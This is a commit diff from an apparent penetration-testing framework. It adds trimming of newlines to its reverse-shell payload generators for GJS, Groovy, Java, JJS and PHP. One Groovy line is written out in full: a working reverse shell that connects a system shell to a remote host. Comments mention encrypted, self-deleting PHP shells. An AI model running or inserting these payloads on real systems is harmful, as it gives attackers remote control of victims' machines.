Add back EOF newline and replace it with trim in payloads

Author: terrorbyte

payload/reverse/gjscript.go

@@ -3,6 +3,7 @@ package reverse
 import (
 	_ "embed"
 	"fmt"
+	"strings"
 )
 
 //go:embed gjscript/glib_spawn.gjs
@@ -11,11 +12,11 @@ var GJScriptDefault = GJScriptGLibSpawn
 
 // Generates Gnome JS payload.
 func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
-	return fmt.Sprintf(GJScriptDefault, lhost, lport)
+	return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n")
 }
 
 // Generates a script that can be used to create a reverse shell via
 // gjs (Gnome JS - present on Ubuntu, Debian by default).
 func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {
-	return fmt.Sprintf(GJScriptGLibSpawn, lhost, lport)
+	return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n")
 }

payload/reverse/gjscript/glib_spawn.gjs

@@ -12,4 +12,4 @@ try {
 		output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
 	}
 } catch (e) {
-}
+}

payload/reverse/groovy.go

@@ -3,6 +3,7 @@ package reverse
 import (
 	_ "embed"
 	"fmt"
+	"strings"
 )
 
 var (
@@ -12,10 +13,10 @@ var (
 )
 
 func (groovy *GroovyPayload) Default(lhost string, lport int) string {
-	return groovy.GroovyClassic(lhost, lport)
+	return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n")
 }
 
 // A short payload that creates a reverse shell using /bin/sh -i.
 func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string {
-	return fmt.Sprintf(GroovyClassic, lhost, lport)
+	return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n")
 }

payload/reverse/groovy/classic.groovy

@@ -1 +1 @@
-shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
+shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

payload/reverse/java.go

@@ -3,6 +3,7 @@ package reverse
 import (
 	_ "embed"
 	"fmt"
+	"strings"
 )
 
 var (
@@ -13,11 +14,11 @@ var (
 
 // Defaults to the UnflattenedJava payload.
 func (java *JavaPayload) Default(lhost string, lport int) string {
-	return java.UnflattenedJava(lhost, lport)
+	return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n")
 }
 
 // An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out
 // the shell using ProcessBuilder and then redirects input/output to/from the sockets.
 func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {
-	return fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport)
+	return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n")
 }

payload/reverse/java/process_builder.java

@@ -19,4 +19,4 @@
 	} catch (Exception e) {}
 };
 p.destroy();
-s.close();
+s.close();

payload/reverse/jjs.go

@@ -3,6 +3,7 @@ package reverse
 import (
 	_ "embed"
 	"fmt"
+	"strings"
 )
 
 var (
@@ -25,9 +26,9 @@ var (
 func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string {
 	var script string
 	if ssl {
-		script = fmt.Sprintf(JJSShellSSL, lhost, lport)
+		script = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), "\r\n")
 	} else {
-		script = fmt.Sprintf(JJSShell, lhost, lport)
+		script = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), "\r\n")
 	}
 
 	return script

payload/reverse/jjs/reverse_shell.jjs

@@ -28,4 +28,4 @@ while (!s.isClosed()) {
 }
 
 p.destroy();
-s.close();
+s.close();

payload/reverse/jjs/reverse_shell_ssl.jjs

@@ -42,4 +42,4 @@ while (!s.isClosed()) {
 }
 
 p.destroy();
-s.close();
+s.close();

payload/reverse/php.go

@@ -3,6 +3,7 @@ package reverse
 import (
 	_ "embed"
 	"fmt"
+	"strings"
 )
 
 var (
@@ -16,12 +17,12 @@ var (
 )
 
 func (php *PHPPayload) Default(lhost string, lport int) string {
-	return php.LinuxInteractive(lhost, lport)
+	return strings.Trim(php.LinuxInteractive(lhost, lport), "\r\n")
 }
 
 // A short payload that creates a reverse shell using /bin/sh -i.
 func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
-	return fmt.Sprintf(PHPDefault, lhost, lport)
+	return strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), "\r\n")
 }
 
 // Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and
@@ -35,7 +36,7 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri
 		hostname = "tls://" + hostname
 	}
 
-	return fmt.Sprintf(PHPUnflattened, hostname)
+	return strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), "\r\n")
 }
 
 // Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete
@@ -46,5 +47,5 @@ func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted
 		hostname = "tls://" + hostname
 	}
 
-	return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname)
+	return strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), "\r\n")
 }